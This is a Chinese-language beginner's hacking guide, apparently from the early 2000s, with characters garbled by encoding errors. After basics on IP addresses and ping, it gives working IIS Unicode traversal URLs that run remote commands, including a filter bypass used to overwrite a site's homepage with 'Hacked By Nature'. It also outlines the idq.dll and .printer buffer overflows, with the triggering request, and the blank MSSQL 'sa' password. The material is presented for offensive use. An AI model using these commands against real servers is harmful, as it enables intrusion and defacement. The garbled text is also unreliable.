從零開(kāi)始學(xué)黑客:網(wǎng)絡(luò )黑客新手入門(mén)指南a.什么是IP:要是真的想說(shuō)清楚什么是IP,那是一項很繁重的工作。簡(jiǎn)單的來(lái)說(shuō),IP就是所有Internet或是局域網(wǎng)上的主機的身份證。所有網(wǎng)絡(luò )的機器連接起來(lái)后,每臺機器都會(huì )有一個(gè)唯一的合法的IP地址,一臺機器和別的指定的機器通訊都要依據IP來(lái)實(shí)現的。IP地址的寫(xiě)法為XXX.XXX.XXX.XXX。有四段數字組成,第一段數字可為1-255,后三段數字可為0-255,且所有的IP地址分為A、B、C、D、E五類(lèi),主要是A、B、C三類(lèi)。其有效范圍如下表所示:
類(lèi)別 網(wǎng)絡(luò )號 主機號
A 1~126 0~255 0~255 1~254
B 128~191 0~255 0~255 1~254
C 192~223 0~255 0~255 1~254
有關(guān)IP地址的問(wèn)題可以查閱相關(guān)的資料,筆者在此就不再多耗筆墨了。呵呵~~~~~~~~~~~~~: p
1.b.怎樣得到自己和別人的IP呢?以Windows 98為例:在“開(kāi)始”—“運行”里輸入:winipcfg。接著(zhù),Windows就會(huì )打開(kāi)“IP 配置”。其中,在“Ethernet 適配器信息”—“IP 地址”會(huì )顯示xxx.xxx.xxx.xxx,這就是你的IP。要想得到別人的IP,可以使用一些工具軟件,不過(guò)最簡(jiǎn)單的使用Windows自帶的一個(gè)小程序ping.exe。在MS-DOS命令行下輸入ping
www.xxx.com。會(huì )出現:
C:\>ping
www.xxx.com Pinging
www.xxx.com [xxx.xxx.xxx.xxx] with 32 bytes of data:
Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116
Reply from xxx.xxx.xxx.xxx: bytes=32 time=630ms TTL=116
Reply from xxx.xxx.xxx.xxx: bytes=32 time=120ms TTL=116
Ping statistics for xxx.xxx.xxx.xxx:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 120ms, Maximum = 630ms, Average = 187ms
其中:xxx.xxx.xxx.xxx 就是
http://www.xxx.com的網(wǎng)絡(luò )服務(wù)器的IP地址。
2.a.Unicode漏洞:“Unicode漏洞”是微軟IIS的一個(gè)重大漏洞。2001年最熱門(mén)漏洞之一。下面我們來(lái)簡(jiǎn)要介紹一下它的原理。
IIS 4.0和IIS 5.0在Unicode字符解碼的實(shí)現中存在一個(gè)安全漏洞,導致用戶(hù)可以遠程通過(guò)IIS執行任意命令。當IIS打開(kāi)文件時(shí),如果該文件名包含Unicode字符,它會(huì )對其進(jìn)行解碼,如果用戶(hù)提供一些特殊的編碼,將導致IIS錯誤的打開(kāi)或者執行某些web根目錄以外的文件。攻擊者可以利用這個(gè)漏洞來(lái)繞過(guò)IIS的路徑檢查,去執行或者打開(kāi)任意的文件。此漏洞從中文IIS4.0+SP6開(kāi)始,還影響中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1,臺灣繁體中文也同樣存在這樣的漏洞。(Win NT4 編碼為:%c1%9c ,Win2000 英文版 編碼為:%c0%af)
假設目標主機為英文版Winodows 2k,IP為xxx.xxx.xxx.xxx,且存在Unicode漏洞,那么我們在瀏覽器里輸入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir ,之后瀏覽器就會(huì )顯示如下內容:
Directory of C:\inetpub\scripts
2002-02-08 15:49 〈DIR〉 .
2002-02-08 15:49 〈DIR〉 ..
2002-02-08 10:20 Index.html
2002-02-08 10:20 background.jpg
........................................
從上面的測試可以看出:"http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+"后就是DOS命令了:"dir"
以此類(lèi)推,我們可以利用瀏覽器遠程執行任意命令,看下面的例子:
在瀏覽器里輸入
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+md+d:\Nature,運行后我們可以看到返回這樣的結果:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:
英文意思是:
CGI錯誤
具體的CGI申請有誤,不能返回完整的HTTP標題,返回的標題為:
但是,你其實(shí)仍然在目標主機的 D:\ 里建立了一個(gè)名為:Nature的文件夾。
2.b.利用Unicode漏洞我們還可以簡(jiǎn)單的修改目標主機的WEB文件。一般情況下,我們要修改目標主機的web文件,常用到的方法是利用echo回顯、管道工具“>” “>>”。如果你對這些命令不熟悉,可以鍵入以下命令以查看幫助文檔,如:
C:\>echo/?
顯示信息,或將命令響應打開(kāi)或關(guān)上。
ECHO [ON | OFF]
ECHO [message]
僅鍵入 ECHO 而不加參數,可以顯示當前的 ECHO 設置。
管道工具“>” “>>” 的不同之處
“>”“>>”是將命令產(chǎn)生的輸出重新定向,比如寫(xiě)到某個(gè)文件或輸出到打印機中。
“>>”將產(chǎn)生的內容追加進(jìn)文件中,“>”則將原文件內容覆蓋。
IIS加載程序檢測到有cmd.exe或者command.com串就要檢測特殊字符“&|(,;%<>”。如果發(fā)現有這些字符就會(huì )返回500錯誤,所以不能直接使用cmd.exe加管道符等。如果我們輸入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd.exe?/c+echo+內容+> d:\cnhack.bat
我們可以看到提示:
HTTP 500 - 內部服務(wù)器錯誤
Internet Explorer
所以我們如果要echo和>的結合使用,就應該這樣輸入:
http://x.x.x.x/scripts/..%c0%af../winnt/system32/cmd".exe?/c+echo+Hacked By Nature+> c:\inetpub\wwwroot\index.html (注意:這兩個(gè)命令的區別是,后一個(gè)比前一個(gè)在cmd后多了一個(gè)"符號),完成后看它的主頁(yè)已經(jīng)被修改成了:Hacked By Nature 了。其實(shí)只要我們弄懂這個(gè)漏洞的使用,僅僅使用IE,我們就可以“黑”掉一個(gè)網(wǎng)站咯!就這么簡(jiǎn)單!
3.idq.dll緩沖區溢出漏洞。作為安裝過(guò)程的一部分,IIS 安裝了幾個(gè) ISAPI 擴展 .dlls 。其中的 idq.dll 存在問(wèn)題,它是 Index Server 的一個(gè)組件,對管理員腳本(.ida文件)和Internet數據查詢(xún) (.idq文件)提供支持。但是,idq.dll 在處理一段URL輸入的代碼中存在一個(gè)未經(jīng)檢查的緩沖區。攻擊者利用此漏洞能導致受影響服務(wù)器產(chǎn)生緩沖區溢出,從而執行自己提供的代碼。而更為嚴重的是,idq.dll 是以 SYSTEM 身份運行的,攻擊者成功利用此漏洞后能取得系統管理員權限。(SYSTEM權限相當于超級管理員權限,很值得注意!)Windows 2k和NT都受到了不同程度的影響。
4.IIS.printer漏洞(應用程序映射緩沖溢出):這也是近期比較流行的漏洞,國內國外仍有N臺機器存在此漏洞。
微軟Windows 2000 IIS 5的打印ISAPI擴展接口建立了.printer擴展名到msw3prt.dll的映射關(guān)系,缺省情況下該映射存在。當遠程用戶(hù)提交對.printer的URL請求時(shí),IIS 5調用msw3prt.dll解釋該請求。由于msw3prt.dll缺乏足夠的緩沖區邊界檢查,遠程用戶(hù)可以提交一個(gè)精心構造的針對.printer的URL請求,其"Host:"域包含大約420字節的數據,此時(shí)在msw3prt.dll中發(fā)生典型的緩沖區溢出,潛在允許執行任意代碼。溢出發(fā)生后,WEB服務(wù)停止響應,Win 2K可以檢查到WEB服務(wù)停止響應,從而自動(dòng)重啟它,因此系統管理員很難意識到發(fā)生過(guò)攻擊。默認情況下,IIS 5.0服務(wù)器存在一個(gè)后綴為"printer"的應用程序映射,這個(gè)映射使用位于\WINNT\System32\下的名為 msw3prt.dll 的動(dòng)態(tài)庫文件。這個(gè)功能是用于基于Web控制的網(wǎng)絡(luò )打印的,是Windows2000為Internet Printing Protocol(IPP)協(xié)議而設置的應用程序功能。不幸的是,這個(gè)映射存在一個(gè)緩沖區溢出錯誤,可以導致inetinfo.exe出錯,允許黑客通過(guò)web獲取服務(wù)器的管理權限,黑客制造一個(gè) .printer 的ISAPI請求,當Http host參數的值達到420個(gè)字符時(shí),就會(huì )發(fā)生緩沖區溢出:
GET /NULL.printer HTTP/1.0
Host: [buffer] <---------------------------------當上述 [buffer]值的字符數目達到420時(shí),緩沖區溢出。這時(shí),Web服務(wù)器會(huì )停止響應
Windows2000操作系統發(fā)現Web異常停止后,會(huì )自動(dòng)重啟。通過(guò)構造包含適當的Shell Code的腳本, 黑客可以以system用戶(hù)的身份,不停地遠程通過(guò)web執行任何指令。這個(gè)漏洞的危害比IISHACK更大,原因是由于IIS4.0不自動(dòng)重啟的原因,用IIShack黑客只能獲得一次Shell,而通過(guò)這個(gè)漏洞,黑客可以不停地利用。目前Internet上已經(jīng)有了針對這個(gè)漏洞的exploit程序,可以綁定系統的cmd.exe程序,從而自由地執行指令。
5.MSSQL空密碼漏洞:SQL服務(wù)器是一個(gè)非常強大的數據庫。當然,這么龐大的程序漏洞也不少。超級管理員sa的默認密碼為空,就是一個(gè)重大漏洞。SQL Server是運行于NT平臺上的數據庫,通常采用IIS作為網(wǎng)絡(luò )服務(wù)器的NT服務(wù)器均采用SQL服務(wù)器作為數據庫服務(wù)器。SQL服務(wù)器目前最高的版本是2000,但是通常比較常見(jiàn)的是6.5和7.0(包括SP1)。SQL服務(wù)器如果配置不當,將對NT系統本身造成很大的危害,在一般情況下都可以直接獲得超級用戶(hù)的權限。SQL 2000以前的版本在默認安裝時(shí)的密碼均為空,如果在安裝的時(shí)候沒(méi)有及時(shí)修改密碼,無(wú)疑是為Windows NT系統打開(kāi)了一道后門(mén)。